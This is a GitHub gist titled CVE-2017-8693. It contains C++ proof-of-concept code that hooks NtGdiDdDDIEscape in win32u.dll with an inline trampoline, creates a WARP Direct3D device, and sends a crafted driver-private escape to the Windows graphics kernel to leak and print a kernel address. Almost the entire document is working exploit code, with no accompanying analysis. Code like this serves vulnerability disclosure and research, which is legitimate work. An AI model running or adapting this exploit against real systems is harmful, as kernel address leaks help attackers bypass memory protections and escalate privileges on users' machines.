Skip to content

Instantly share code, notes, and snippets.

@wmliang
Created February 2, 2018 09:27
Show Gist options
  • Save wmliang/e67faeb9c4f618018ae205307755d055 to your computer and use it in GitHub Desktop.
Save wmliang/e67faeb9c4f618018ae205307755d055 to your computer and use it in GitHub Desktop.
CVE-2017-8693
// TestGraphicDrv.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <windows.h>
#include <d3dkmthk.h>
#include <d3d11.h>
#if defined _M_X64
#define TRAMPOLINE_BYTES 12
#elif defined _M_IX86
#define TRAMPOLINE_BYTES 5
#endif
PSLIST_ENTRY pHookSetupFirstEntry, pHookSetupListEntry;
PSLIST_HEADER pHookSetupListHead;
typedef struct _HOOK_SETUP_ITEM {
SLIST_ENTRY ItemEntry;
PVOID OriginalFunction;
PVOID HookFunction;
BYTE FunctionOriginalOpcodes[TRAMPOLINE_BYTES];
BYTE JmpOpcodes[TRAMPOLINE_BYTES];
} HOOK_SETUP_ITEM, *PHOOK_SETUP_ITEM;
PHOOK_SETUP_ITEM SearchInHookSetupList(PVOID originalFunction);
CRITICAL_SECTION g_CS_D3DKMTEscape;
typedef NTSTATUS(WINAPI *D3DKMTESCAPE)(D3DKMT_ESCAPE*);
D3DKMTESCAPE pfnD3DKMTEscape; // Pointer to the original D3DKMTEscape function
NTSTATUS WINAPI D3DKMTEscape_hook(D3DKMT_ESCAPE*); // Contract for the hook of D3DKMTEscape
void WarpEscape(D3DKMT_ESCAPE *pData);
void insertHook(LPVOID hookFunction, LPVOID originalFunction, BYTE *oldBytes, BYTE *jmpBytes)
{
DWORD oldProtect = 0;
#if defined _M_X64
// 64-bit API Hooking
BYTE tempJMP[TRAMPOLINE_BYTES] = {
0x48, 0xB8, // MOV RAX, 0xDEADBEEFDEADBEEF
0xDE, 0xAD, 0xBE, 0xEF,
0xDE, 0xAD, 0xBE, 0xEF,
0xFF, 0xE0 // JMP RAX
};
memcpy(jmpBytes, tempJMP, TRAMPOLINE_BYTES);
VirtualProtect((LPVOID)originalFunction, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(oldBytes, originalFunction, TRAMPOLINE_BYTES);
memcpy(&jmpBytes[2], &hookFunction, 8);
#elif defined _M_IX86
// 32-bit API Hooking
BYTE tempJMP[TRAMPOLINE_BYTES] = { 0xE9, 0xDE, 0xAD, 0xBE, 0xEF }; // JMP 0xDEADBEEF
memcpy(jmpBytes, tempJMP, TRAMPOLINE_BYTES);
DWORD JMPSize = ((DWORD)hookFunction - (DWORD)originalFunction - 5);
VirtualProtect((LPVOID)originalFunction, TRAMPOLINE_BYTES,
PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(oldBytes, originalFunction, TRAMPOLINE_BYTES);
memcpy(&jmpBytes[1], &JMPSize, 4);
#endif
memcpy(originalFunction, jmpBytes, TRAMPOLINE_BYTES);
}
int install_hook(PVOID originalFunction, PVOID hookFunction) {
if (originalFunction == NULL) {
return -1;
}
PHOOK_SETUP_ITEM newHookSetup = (PHOOK_SETUP_ITEM)_aligned_malloc(sizeof(HOOK_SETUP_ITEM), MEMORY_ALLOCATION_ALIGNMENT);
newHookSetup->OriginalFunction = originalFunction;
newHookSetup->HookFunction = hookFunction;
pHookSetupFirstEntry = InterlockedPushEntrySList(pHookSetupListHead, &(newHookSetup->ItemEntry));
insertHook(
newHookSetup->HookFunction,
newHookSetup->OriginalFunction,
newHookSetup->FunctionOriginalOpcodes,
newHookSetup->JmpOpcodes
);
return 0;
}
PHOOK_SETUP_ITEM SearchInHookSetupList(PVOID originalFunction) {
// Fucking SLIST...
#if defined _M_X64
pHookSetupListEntry = (PSLIST_ENTRY)(pHookSetupListHead->HeaderX64.NextEntry << 4);
#elif defined _M_IX86
pHookSetupListEntry = &pHookSetupListHead->Next;
#endif
pHookSetupListEntry = pHookSetupListEntry->Next;
while (pHookSetupListEntry != NULL) {
if (((PHOOK_SETUP_ITEM)pHookSetupListEntry)->OriginalFunction == originalFunction)
break;
pHookSetupListEntry = pHookSetupListEntry->Next;
}
return (PHOOK_SETUP_ITEM)pHookSetupListEntry;
}
BOOL installHooks() {
int success = 0;
// Initialize the list header to a MEMORY_ALLOCATION_ALIGNMENT boundary.
pHookSetupListHead = (PSLIST_HEADER)_aligned_malloc(sizeof(SLIST_HEADER), MEMORY_ALLOCATION_ALIGNMENT);
if (NULL == pHookSetupListHead) {
printf("Memory allocation failed.\n");
return 0;
}
InitializeSListHead(pHookSetupListHead);
InitializeCriticalSection(&g_CS_D3DKMTEscape);
pfnD3DKMTEscape = (D3DKMTESCAPE)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtGdiDdDDIEscape");
success += install_hook(pfnD3DKMTEscape, D3DKMTEscape_hook);
// Dummy Hook,, hack for SLISTS :)
PHOOK_SETUP_ITEM newHookSetup = (PHOOK_SETUP_ITEM)_aligned_malloc(sizeof(HOOK_SETUP_ITEM), MEMORY_ALLOCATION_ALIGNMENT);
newHookSetup->OriginalFunction = (PVOID)0xDEADBEEF;
newHookSetup->HookFunction = (PVOID)0xDEADBEEF;
pHookSetupFirstEntry = InterlockedPushEntrySList(pHookSetupListHead, &(newHookSetup->ItemEntry));
return success == 0;
}
void InitializeD3D(HWND hWnd) {
DXGI_SWAP_CHAIN_DESC sd;
ZeroMemory(&sd, sizeof(sd));
sd.BufferCount = 1;
sd.BufferDesc.Width = 640;
sd.BufferDesc.Height = 480;
sd.BufferDesc.Format = DXGI_FORMAT_R8G8B8A8_UNORM;
sd.BufferDesc.RefreshRate.Numerator = 60;
sd.BufferDesc.RefreshRate.Denominator = 1;
sd.BufferUsage = DXGI_USAGE_RENDER_TARGET_OUTPUT;
sd.OutputWindow = hWnd;
sd.SampleDesc.Count = 1;
sd.SampleDesc.Quality = 0;
sd.Windowed = TRUE;
D3D_FEATURE_LEVEL FeatureLevels = D3D_FEATURE_LEVEL_9_1;
D3D_FEATURE_LEVEL FeatureLevel;
IDXGISwapChain *pSwapChain = (IDXGISwapChain *)malloc(sizeof(IDXGISwapChain));
ID3D11Device *g_pd3dDevice = (ID3D11Device *)malloc(sizeof(ID3D11Device));
ID3D11DeviceContext *ppImmediateContext = (ID3D11DeviceContext *)malloc(sizeof(ID3D11DeviceContext));
HRESULT hr = S_OK;
hr = D3D11CreateDeviceAndSwapChain(NULL,
D3D_DRIVER_TYPE_WARP,
NULL,
0,
&FeatureLevels,
1,
D3D11_SDK_VERSION,
&sd,
&pSwapChain,
&g_pd3dDevice,
&FeatureLevel,
&ppImmediateContext);
char buff[256] = { 0 };
sprintf(buff, "hr: %08x\n", hr);
//MessageBoxA(hWnd, buff, "info", 0);
}
NTSTATUS WINAPI D3DKMTEscape_hook(D3DKMT_ESCAPE *pData)
{
//__debugbreak();
EnterCriticalSection(&g_CS_D3DKMTEscape);
PHOOK_SETUP_ITEM p = SearchInHookSetupList(pfnD3DKMTEscape);
if (!p) {
printf("Error: Hook not found in list!\n");
exit(-1);
}
memcpy(pfnD3DKMTEscape, p->FunctionOriginalOpcodes, TRAMPOLINE_BYTES);
// If there's a succesfully running log file handler.
NTSTATUS retValue;
WarpEscape(pData);
// Call the original function, with original behavior.
retValue = pfnD3DKMTEscape(pData);
// Finally, set the hook back, and restablish the original protection.
memcpy(pfnD3DKMTEscape, p->JmpOpcodes, TRAMPOLINE_BYTES);
LeaveCriticalSection(&g_CS_D3DKMTEscape);
return retValue;
}
void WarpEscape(D3DKMT_ESCAPE *pData)
{
static int i = 0;
D3DKMT_ESCAPE pEscape = { 0 };
memcpy(&pEscape, pData, sizeof(D3DKMT_ESCAPE));
char blob[0x1000];
memset(blob, 0x00, sizeof(blob));
pEscape.Type = D3DKMT_ESCAPE_DRIVERPRIVATE;
char *mem = (char *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x20);
//D3DDDI_ESCAPEFLAGS flags = { 0 };
//flags.Value = 0xFFFFFFF0;
*(DWORD *)(mem + 0x00) = 4;
*(PVOID *)(mem + 0x10) = blob;
*(PVOID *)(mem + 0x18) = (PVOID)0x1000;
//pEscape.Flags = flags;
pEscape.pPrivateDriverData = mem;
pEscape.PrivateDriverDataSize = 0x20;
pfnD3DKMTEscape(&pEscape);
if (*(PVOID *)(mem + 0x8)) {
printf("Leaked Address: %p\n", *(PVOID *)(mem + 0x8));
}
HeapFree(GetProcessHeap(), 0, mem);
}
int main()
{
installHooks();
InitializeD3D(0);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment